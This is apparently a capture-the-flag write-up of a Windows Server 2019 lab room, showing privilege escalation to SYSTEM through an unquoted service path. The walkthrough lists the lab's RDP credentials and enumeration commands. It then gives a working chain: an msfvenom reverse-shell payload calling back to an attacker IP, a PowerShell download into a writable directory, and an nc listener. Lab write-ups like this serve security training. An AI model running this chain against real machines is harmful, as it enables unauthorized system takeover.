Difficulty level: Easy
Aim: Obtain the flag on the Administrator's desktop
Credentials have been provided to access the target via RDP as the user 'sage'.
I prefer to use xfreerdp to connect, but use whatever works best for you:
xfreerdp /u:sage /p:'gr33ntHEphgK2&V' /v:10.10.108.103
Once logged in, let's take a look at the system information to see what we are dealing with:
This shows the target is an x64-based PC, running Microsoft Windows Server 2019 Standard (Build 17763), with a number of hotfixes installed.
We can check account information for 'sage' and discover group memberships:
net user sage
and also check the security privileges for this user:
From this we can determine that 'sage' is a low-privileged user.
The description for this room mentions the following:
"Grammar is important. Don't believe me? Just see what happens when you forget punctuation."
This hints at Unquoted Service Paths being the method of privilege escalation to achieve the objective for this room.
Identifying services with Unquoted Service Paths can be done using WMIC (Windows Management Instrumentation command-line):
wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "c:\windows\\" | findstr /i /v """
/i flag to ignore the case of the characters in the search string
/v flag to exclude a specific string (in this case, any services enclosed in double-quotes)
A single result named "Development Service" has an unquoted path.
Checking this via services shows it is set to run automatically, with SYSTEM-level privileges:
This can also be verified with the following command:
sc qc "Development Service" state=all
With the path to the service executable not wrapped in quotes, Windows is unable to determine which part is the executable and if suffixes are parameters.
As the START_TYPE is set to AUTO_START this means that upon boot the system will check for the presence of an executable in the following order:
- C:\Program Files\Development.exe
- C:\Program Files\Development Files\Devservice.exe
- C:\Program Files\Development Files\Devservice Files\Service.exe
Our final step in confirming whether this service is exploitable is to determine if standard users have "Write" access to the directory where the service is located, or any previous directory, which will allow us to insert a malicious executable.
Folder permissions can be checked using icacls (Integrity Control Access Control Lists) via the command-line:
icacls "C:\Program Files\Development Files\Devservice Files" icacls "C:\Program Files\Development Files"
The output from icacls shows that users have write access to the "C:\Program Files\Development Files" directory.
We can now proceed with exploiting this service.
First, we'll need to create a reverse shell executable using msfvenom on our local Kali instance or TryHackMe AttackBox.
We know the writeable path is "C:\Program Files\Development Files", which means the executable must be named 'Devservice.exe', as this is the next naming convention that will be checked by the system.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.104.42 LPORT=443 -f exe -o Devservice.exe
Start a local Python HTTP server to host the payload:
python3 -m http.server
and then download this to the target using PowerShell and wget:
powershell wget http://10.10.104.42:8000/Devservice.exe -o "c:\program files\development files\Devservice.exe"
icacls can then be used to change the file permissions of the executable to allow full access for everyone:
icacls "C:\Program Files\Development Files\Devservice.exe" /grant Everyone:F
We then need to create a local listener to catch the reverse shell:
nc -nlvp 443
Then simply restart the target machine.
Once the service starts we should now have a reverse shell as SYSTEM:
Finally, the flag can be obtained from the Administrator's desktop:
Please feel free to contact or follow me on Twitter and thanks for reading.